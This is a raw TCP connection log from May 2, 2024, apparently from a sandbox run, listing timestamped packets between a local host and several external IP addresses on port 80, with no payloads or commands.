May 2, 2024 08:27:02.824841976 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.824887991 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.824918985 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.824942112 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.824959040 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.824970961 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.825017929 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.825021029 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.825067043 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.825093985 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.825134993 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.825136900 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.825155020 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.825186968 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.825223923 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.825270891 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.825289011 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.825334072 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.825351954 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.825395107 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.825423956 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.825469971 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.825582027 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.825623989 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.825742006 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.825789928 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.825814009 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.825856924 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.825885057 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.825928926 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.825946093 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.825994968 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.826009989 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.826052904 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.826057911 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.826082945 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.826098919 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.826117992 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.826138020 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.826179028 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.826204062 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.826246977 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.826275110 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.826292038 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.826322079 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.826359034 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.826404095 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.826428890 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.826476097 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.826479912 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.826519966 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.826553106 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.826595068 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.826606035 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.826644897 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.826646090 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.826678991 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.826704979 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.826731920 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.826750994 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.826762915 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.826925039 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.826967001 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.827030897 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.827074051 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.827107906 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.827131987 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.827151060 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.827162027 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.827195883 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.827241898 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.827244043 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.827275038 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.827305079 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.827347040 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.827356100 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.827397108 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.827408075 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.827450037 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.827461004 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.827476978 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.827508926 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:29.855844021 CEST	49166	80	192.168.2.22	94.23.162.163
May 2, 2024 08:27:30.028532028 CEST	80	49166	94.23.162.163	192.168.2.22
May 2, 2024 08:27:30.028597116 CEST	49166	80	192.168.2.22	94.23.162.163
May 2, 2024 08:27:30.028881073 CEST	49166	80	192.168.2.22	94.23.162.163
May 2, 2024 08:27:30.201240063 CEST	80	49166	94.23.162.163	192.168.2.22
May 2, 2024 08:27:30.201265097 CEST	80	49166	94.23.162.163	192.168.2.22
May 2, 2024 08:27:32.553143978 CEST	49167	80	192.168.2.22	94.23.162.163
May 2, 2024 08:27:32.722162008 CEST	80	49167	94.23.162.163	192.168.2.22
May 2, 2024 08:27:32.722378016 CEST	49167	80	192.168.2.22	94.23.162.163
May 2, 2024 08:27:32.722992897 CEST	49167	80	192.168.2.22	94.23.162.163
May 2, 2024 08:27:32.891834021 CEST	80	49167	94.23.162.163	192.168.2.22
May 2, 2024 08:27:32.891918898 CEST	80	49167	94.23.162.163	192.168.2.22
May 2, 2024 08:27:32.891978025 CEST	49167	80	192.168.2.22	94.23.162.163
May 2, 2024 08:27:34.222035885 CEST	49167	80	192.168.2.22	94.23.162.163
May 2, 2024 08:27:34.390798092 CEST	80	49167	94.23.162.163	192.168.2.22
May 2, 2024 08:27:35.236191988 CEST	49168	80	192.168.2.22	94.23.162.163
May 2, 2024 08:27:35.405060053 CEST	80	49168	94.23.162.163	192.168.2.22
May 2, 2024 08:27:35.405261040 CEST	49168	80	192.168.2.22	94.23.162.163
May 2, 2024 08:27:35.405441046 CEST	49168	80	192.168.2.22	94.23.162.163
May 2, 2024 08:27:35.574213982 CEST	80	49168	94.23.162.163	192.168.2.22
May 2, 2024 08:27:35.574235916 CEST	80	49168	94.23.162.163	192.168.2.22
May 2, 2024 08:27:35.574248075 CEST	80	49168	94.23.162.163	192.168.2.22
May 2, 2024 08:27:37.926930904 CEST	49169	80	192.168.2.22	94.23.162.163
May 2, 2024 08:27:38.094789982 CEST	80	49169	94.23.162.163	192.168.2.22
May 2, 2024 08:27:38.094852924 CEST	49169	80	192.168.2.22	94.23.162.163
May 2, 2024 08:27:38.140760899 CEST	49169	80	192.168.2.22	94.23.162.163
May 2, 2024 08:27:38.308651924 CEST	80	49169	94.23.162.163	192.168.2.22
May 2, 2024 08:27:38.308695078 CEST	80	49169	94.23.162.163	192.168.2.22
May 2, 2024 08:27:38.308710098 CEST	80	49169	94.23.162.163	192.168.2.22
May 2, 2024 08:27:38.308811903 CEST	49169	80	192.168.2.22	94.23.162.163
May 2, 2024 08:27:38.309011936 CEST	49169	80	192.168.2.22	94.23.162.163
May 2, 2024 08:27:38.476797104 CEST	80	49169	94.23.162.163	192.168.2.22
May 2, 2024 08:27:43.613127947 CEST	49170	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:43.796989918 CEST	80	49170	194.9.94.86	192.168.2.22
May 2, 2024 08:27:43.797110081 CEST	49170	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:43.797481060 CEST	49170	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:43.980932951 CEST	80	49170	194.9.94.86	192.168.2.22
May 2, 2024 08:27:43.981201887 CEST	80	49170	194.9.94.86	192.168.2.22
May 2, 2024 08:27:43.981257915 CEST	49170	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:44.165466070 CEST	80	49170	194.9.94.86	192.168.2.22
May 2, 2024 08:27:44.165488005 CEST	80	49170	194.9.94.86	192.168.2.22
May 2, 2024 08:27:44.165504932 CEST	80	49170	194.9.94.86	192.168.2.22
May 2, 2024 08:27:44.165586948 CEST	80	49170	194.9.94.86	192.168.2.22
May 2, 2024 08:27:44.165640116 CEST	80	49170	194.9.94.86	192.168.2.22
May 2, 2024 08:27:44.165678978 CEST	80	49170	194.9.94.86	192.168.2.22
May 2, 2024 08:27:44.165688038 CEST	49170	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:44.165688038 CEST	49170	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:44.165738106 CEST	49170	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:45.301584959 CEST	49170	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:46.313118935 CEST	49171	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:46.499634981 CEST	80	49171	194.9.94.86	192.168.2.22
May 2, 2024 08:27:46.499690056 CEST	49171	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:46.499875069 CEST	49171	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:46.689507961 CEST	80	49171	194.9.94.86	192.168.2.22
May 2, 2024 08:27:46.689835072 CEST	80	49171	194.9.94.86	192.168.2.22
May 2, 2024 08:27:46.689853907 CEST	80	49171	194.9.94.86	192.168.2.22
May 2, 2024 08:27:46.689899921 CEST	49171	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:46.689979076 CEST	80	49171	194.9.94.86	192.168.2.22
May 2, 2024 08:27:46.689992905 CEST	80	49171	194.9.94.86	192.168.2.22
May 2, 2024 08:27:46.690037012 CEST	49171	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:46.690090895 CEST	80	49171	194.9.94.86	192.168.2.22
May 2, 2024 08:27:46.690222025 CEST	80	49171	194.9.94.86	192.168.2.22
May 2, 2024 08:27:46.690252066 CEST	49171	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:48.015579939 CEST	49171	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:49.026546955 CEST	49172	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:49.212807894 CEST	80	49172	194.9.94.86	192.168.2.22
May 2, 2024 08:27:49.212889910 CEST	49172	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:49.213351011 CEST	49172	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:49.398997068 CEST	80	49172	194.9.94.86	192.168.2.22
May 2, 2024 08:27:49.399568081 CEST	80	49172	194.9.94.86	192.168.2.22
May 2, 2024 08:27:49.399626970 CEST	49172	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:49.585649967 CEST	80	49172	194.9.94.86	192.168.2.22
May 2, 2024 08:27:49.586007118 CEST	80	49172	194.9.94.86	192.168.2.22
May 2, 2024 08:27:49.586066961 CEST	80	49172	194.9.94.86	192.168.2.22
May 2, 2024 08:27:49.586081982 CEST	80	49172	194.9.94.86	192.168.2.22
May 2, 2024 08:27:49.586095095 CEST	80	49172	194.9.94.86	192.168.2.22
May 2, 2024 08:27:49.586102009 CEST	80	49172	194.9.94.86	192.168.2.22
May 2, 2024 08:27:49.586116076 CEST	80	49172	194.9.94.86	192.168.2.22
May 2, 2024 08:27:49.586118937 CEST	49172	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:49.586294889 CEST	49172	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:49.586296082 CEST	49172	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:50.711566925 CEST	49172	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:51.725382090 CEST	49173	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:51.914253950 CEST	80	49173	194.9.94.86	192.168.2.22
May 2, 2024 08:27:51.914345026 CEST	49173	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:51.914592028 CEST	49173	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:52.101200104 CEST	80	49173	194.9.94.86	192.168.2.22
May 2, 2024 08:27:52.101787090 CEST	80	49173	194.9.94.86	192.168.2.22
May 2, 2024 08:27:52.101840019 CEST	80	49173	194.9.94.86	192.168.2.22
May 2, 2024 08:27:52.101897001 CEST	80	49173	194.9.94.86	192.168.2.22
May 2, 2024 08:27:52.102003098 CEST	80	49173	194.9.94.86	192.168.2.22
May 2, 2024 08:27:52.102054119 CEST	80	49173	194.9.94.86	192.168.2.22
May 2, 2024 08:27:52.102118969 CEST	80	49173	194.9.94.86	192.168.2.22
May 2, 2024 08:27:52.102322102 CEST	49173	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:52.106131077 CEST	49173	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:52.106131077 CEST	49173	80	192.168.2.22	194.9.94.86
May 2, 2024 08:27:52.293169975 CEST	80	49173	194.9.94.86	192.168.2.22
May 2, 2024 08:27:57.230448008 CEST	49174	80	192.168.2.22	91.195.240.19
May 2, 2024 08:27:57.405755043 CEST	80	49174	91.195.240.19	192.168.2.22
May 2, 2024 08:27:57.405816078 CEST	49174	80	192.168.2.22	91.195.240.19
May 2, 2024 08:27:57.406066895 CEST	49174	80	192.168.2.22	91.195.240.19
May 2, 2024 08:27:57.581203938 CEST	80	49174	91.195.240.19	192.168.2.22
May 2, 2024 08:27:57.581255913 CEST	49174	80	192.168.2.22	91.195.240.19
May 2, 2024 08:27:57.581259966 CEST	80	49174	91.195.240.19	192.168.2.22
May 2, 2024 08:27:57.581419945 CEST	80	49174	91.195.240.19	192.168.2.22
May 2, 2024 08:27:57.581438065 CEST	80	49174	91.195.240.19	192.168.2.22
May 2, 2024 08:27:57.581464052 CEST	49174	80	192.168.2.22	91.195.240.19
May 2, 2024 08:27:57.756222010 CEST	80	49174	91.195.240.19	192.168.2.22
May 2, 2024 08:27:57.756340981 CEST	80	49174	91.195.240.19	192.168.2.22
May 2, 2024 08:28:00.071821928 CEST	49175	80	192.168.2.22	91.195.240.19
May 2, 2024 08:28:00.247235060 CEST	80	49175	91.195.240.19	192.168.2.22
May 2, 2024 08:28:00.247589111 CEST	49175	80	192.168.2.22	91.195.240.19
May 2, 2024 08:28:00.253900051 CEST	49175	80	192.168.2.22	91.195.240.19
May 2, 2024 08:28:00.429229975 CEST	80	49175	91.195.240.19	192.168.2.22
May 2, 2024 08:28:00.429253101 CEST	80	49175	91.195.240.19	192.168.2.22
May 2, 2024 08:28:00.429430008 CEST	49175	80	192.168.2.22	91.195.240.19
May 2, 2024 08:28:01.664813995 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:28:01.755954981 CEST	49175	80	192.168.2.22	91.195.240.19
May 2, 2024 08:28:01.800661087 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:28:01.800714970 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:28:02.771569014 CEST	49176	80	192.168.2.22	91.195.240.19
May 2, 2024 08:28:02.946312904 CEST	80	49176	91.195.240.19	192.168.2.22
May 2, 2024 08:28:02.949915886 CEST	49176	80	192.168.2.22	91.195.240.19
May 2, 2024 08:28:02.949915886 CEST	49176	80	192.168.2.22	91.195.240.19
May 2, 2024 08:28:03.125252962 CEST	80	49176	91.195.240.19	192.168.2.22
May 2, 2024 08:28:03.125319958 CEST	49176	80	192.168.2.22	91.195.240.19
May 2, 2024 08:28:03.125430107 CEST	80	49176	91.195.240.19	192.168.2.22
May 2, 2024 08:28:03.125447035 CEST	80	49176	91.195.240.19	192.168.2.22
May 2, 2024 08:28:03.125471115 CEST	49176	80	192.168.2.22	91.195.240.19
May 2, 2024 08:28:03.299992085 CEST	80	49176	91.195.240.19	192.168.2.22
May 2, 2024 08:28:03.300009012 CEST	80	49176	91.195.240.19	192.168.2.22
May 2, 2024 08:28:03.300023079 CEST	80	49176	91.195.240.19	192.168.2.22
May 2, 2024 08:28:05.469540119 CEST	49177	80	192.168.2.22	91.195.240.19
May 2, 2024 08:28:05.644511938 CEST	80	49177	91.195.240.19	192.168.2.22
May 2, 2024 08:28:05.644578934 CEST	49177	80	192.168.2.22	91.195.240.19
May 2, 2024 08:28:05.644785881 CEST	49177	80	192.168.2.22	91.195.240.19
May 2, 2024 08:28:05.819519043 CEST	80	49177	91.195.240.19	192.168.2.22
May 2, 2024 08:28:05.819546938 CEST	80	49177	91.195.240.19	192.168.2.22
May 2, 2024 08:28:05.819684982 CEST	49177	80	192.168.2.22	91.195.240.19
May 2, 2024 08:28:05.819734097 CEST	49177	80	192.168.2.22	91.195.240.19
May 2, 2024 08:28:05.994527102 CEST	80	49177	91.195.240.19	192.168.2.22
May 2, 2024 08:28:10.923631907 CEST	49178	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:11.079301119 CEST	80	49178	198.12.241.35	192.168.2.22
May 2, 2024 08:28:11.079366922 CEST	49178	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:11.079615116 CEST	49178	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:11.235622883 CEST	80	49178	198.12.241.35	192.168.2.22
May 2, 2024 08:28:11.235641003 CEST	80	49178	198.12.241.35	192.168.2.22
May 2, 2024 08:28:11.235708952 CEST	49178	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:11.391263008 CEST	80	49178	198.12.241.35	192.168.2.22
May 2, 2024 08:28:11.458331108 CEST	80	49178	198.12.241.35	192.168.2.22
May 2, 2024 08:28:11.458353043 CEST	80	49178	198.12.241.35	192.168.2.22
May 2, 2024 08:28:11.458373070 CEST	80	49178	198.12.241.35	192.168.2.22
May 2, 2024 08:28:11.458434105 CEST	80	49178	198.12.241.35	192.168.2.22
May 2, 2024 08:28:11.458465099 CEST	49178	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:11.458558083 CEST	80	49178	198.12.241.35	192.168.2.22
May 2, 2024 08:28:11.458573103 CEST	80	49178	198.12.241.35	192.168.2.22
May 2, 2024 08:28:11.458609104 CEST	80	49178	198.12.241.35	192.168.2.22
May 2, 2024 08:28:11.458610058 CEST	49178	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:11.458630085 CEST	49178	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:11.458674908 CEST	80	49178	198.12.241.35	192.168.2.22
May 2, 2024 08:28:11.458690882 CEST	80	49178	198.12.241.35	192.168.2.22
May 2, 2024 08:28:11.458713055 CEST	49178	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:11.458729029 CEST	49178	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:13.381984949 CEST	49178	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:18.259818077 CEST	49179	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:18.419368982 CEST	80	49179	198.12.241.35	192.168.2.22
May 2, 2024 08:28:18.419434071 CEST	49179	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:18.419702053 CEST	49179	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:18.578496933 CEST	80	49179	198.12.241.35	192.168.2.22
May 2, 2024 08:28:18.663295031 CEST	80	49179	198.12.241.35	192.168.2.22
May 2, 2024 08:28:18.663326979 CEST	80	49179	198.12.241.35	192.168.2.22
May 2, 2024 08:28:18.663345098 CEST	80	49179	198.12.241.35	192.168.2.22
May 2, 2024 08:28:18.663357973 CEST	80	49179	198.12.241.35	192.168.2.22
May 2, 2024 08:28:18.663369894 CEST	49179	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:18.663378000 CEST	80	49179	198.12.241.35	192.168.2.22
May 2, 2024 08:28:18.663393974 CEST	80	49179	198.12.241.35	192.168.2.22
May 2, 2024 08:28:18.663395882 CEST	49179	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:18.663409948 CEST	80	49179	198.12.241.35	192.168.2.22
May 2, 2024 08:28:18.663425922 CEST	80	49179	198.12.241.35	192.168.2.22
May 2, 2024 08:28:18.663425922 CEST	49179	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:18.663444042 CEST	80	49179	198.12.241.35	192.168.2.22
May 2, 2024 08:28:18.663460016 CEST	49179	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:18.663476944 CEST	49179	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:19.931579113 CEST	49179	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:20.944144964 CEST	49180	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:21.099862099 CEST	80	49180	198.12.241.35	192.168.2.22
May 2, 2024 08:28:21.103780985 CEST	49180	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:21.107579947 CEST	49180	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:21.263326883 CEST	80	49180	198.12.241.35	192.168.2.22
May 2, 2024 08:28:21.263398886 CEST	80	49180	198.12.241.35	192.168.2.22
May 2, 2024 08:28:21.263585091 CEST	49180	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:21.419118881 CEST	80	49180	198.12.241.35	192.168.2.22
May 2, 2024 08:28:21.419140100 CEST	80	49180	198.12.241.35	192.168.2.22
May 2, 2024 08:28:21.503128052 CEST	80	49180	198.12.241.35	192.168.2.22
May 2, 2024 08:28:21.503161907 CEST	80	49180	198.12.241.35	192.168.2.22
May 2, 2024 08:28:21.503180027 CEST	80	49180	198.12.241.35	192.168.2.22
May 2, 2024 08:28:21.503211021 CEST	80	49180	198.12.241.35	192.168.2.22
May 2, 2024 08:28:21.503254890 CEST	80	49180	198.12.241.35	192.168.2.22
May 2, 2024 08:28:21.503264904 CEST	49180	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:21.503299952 CEST	80	49180	198.12.241.35	192.168.2.22
May 2, 2024 08:28:21.503334045 CEST	49180	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:21.503359079 CEST	80	49180	198.12.241.35	192.168.2.22
May 2, 2024 08:28:21.503427982 CEST	49180	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:21.503511906 CEST	80	49180	198.12.241.35	192.168.2.22
May 2, 2024 08:28:21.503526926 CEST	80	49180	198.12.241.35	192.168.2.22
May 2, 2024 08:28:21.503653049 CEST	49180	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:22.613553047 CEST	49180	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:23.627830982 CEST	49181	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:23.783396006 CEST	80	49181	198.12.241.35	192.168.2.22
May 2, 2024 08:28:23.784087896 CEST	49181	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:23.793699026 CEST	49181	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:23.949213028 CEST	80	49181	198.12.241.35	192.168.2.22
May 2, 2024 08:28:23.986429930 CEST	80	49181	198.12.241.35	192.168.2.22
May 2, 2024 08:28:23.986607075 CEST	80	49181	198.12.241.35	192.168.2.22
May 2, 2024 08:28:23.987026930 CEST	49181	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:23.987026930 CEST	49181	80	192.168.2.22	198.12.241.35
May 2, 2024 08:28:24.142529011 CEST	80	49181	198.12.241.35	192.168.2.22
May 2, 2024 08:28:32.044791937 CEST	49182	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:32.322665930 CEST	80	49182	183.111.183.31	192.168.2.22
May 2, 2024 08:28:32.322730064 CEST	49182	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:32.325015068 CEST	49182	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:32.604260921 CEST	80	49182	183.111.183.31	192.168.2.22
May 2, 2024 08:28:32.604337931 CEST	49182	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:32.882160902 CEST	80	49182	183.111.183.31	192.168.2.22
May 2, 2024 08:28:33.182195902 CEST	80	49182	183.111.183.31	192.168.2.22
May 2, 2024 08:28:33.182224035 CEST	80	49182	183.111.183.31	192.168.2.22
May 2, 2024 08:28:33.182275057 CEST	49182	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:33.182297945 CEST	80	49182	183.111.183.31	192.168.2.22
May 2, 2024 08:28:33.182352066 CEST	80	49182	183.111.183.31	192.168.2.22
May 2, 2024 08:28:33.182384968 CEST	49182	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:33.182432890 CEST	80	49182	183.111.183.31	192.168.2.22
May 2, 2024 08:28:33.182449102 CEST	80	49182	183.111.183.31	192.168.2.22
May 2, 2024 08:28:33.182483912 CEST	49182	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:33.183585882 CEST	80	49182	183.111.183.31	192.168.2.22
May 2, 2024 08:28:33.183603048 CEST	80	49182	183.111.183.31	192.168.2.22
May 2, 2024 08:28:33.183644056 CEST	49182	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:33.829627037 CEST	49182	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:34.849589109 CEST	49183	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:35.127321005 CEST	80	49183	183.111.183.31	192.168.2.22
May 2, 2024 08:28:35.127388954 CEST	49183	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:35.127638102 CEST	49183	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:35.405409098 CEST	80	49183	183.111.183.31	192.168.2.22
May 2, 2024 08:28:35.684334993 CEST	80	49183	183.111.183.31	192.168.2.22
May 2, 2024 08:28:35.684401035 CEST	80	49183	183.111.183.31	192.168.2.22
May 2, 2024 08:28:35.684448004 CEST	49183	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:35.684550047 CEST	80	49183	183.111.183.31	192.168.2.22
May 2, 2024 08:28:35.684637070 CEST	80	49183	183.111.183.31	192.168.2.22
May 2, 2024 08:28:35.684652090 CEST	80	49183	183.111.183.31	192.168.2.22
May 2, 2024 08:28:35.684669018 CEST	80	49183	183.111.183.31	192.168.2.22
May 2, 2024 08:28:35.684669018 CEST	49183	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:35.684701920 CEST	49183	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:35.686428070 CEST	80	49183	183.111.183.31	192.168.2.22
May 2, 2024 08:28:35.686443090 CEST	80	49183	183.111.183.31	192.168.2.22
May 2, 2024 08:28:35.686477900 CEST	49183	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:37.396697044 CEST	49183	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:38.421503067 CEST	49184	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:38.718143940 CEST	80	49184	183.111.183.31	192.168.2.22
May 2, 2024 08:28:38.718277931 CEST	49184	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:38.723397017 CEST	49184	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:39.020237923 CEST	80	49184	183.111.183.31	192.168.2.22
May 2, 2024 08:28:39.020271063 CEST	80	49184	183.111.183.31	192.168.2.22
May 2, 2024 08:28:39.020313978 CEST	49184	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:39.317635059 CEST	80	49184	183.111.183.31	192.168.2.22
May 2, 2024 08:28:39.597989082 CEST	80	49184	183.111.183.31	192.168.2.22
May 2, 2024 08:28:39.598010063 CEST	80	49184	183.111.183.31	192.168.2.22
May 2, 2024 08:28:39.598062038 CEST	49184	80	192.168.2.22	183.111.183.31
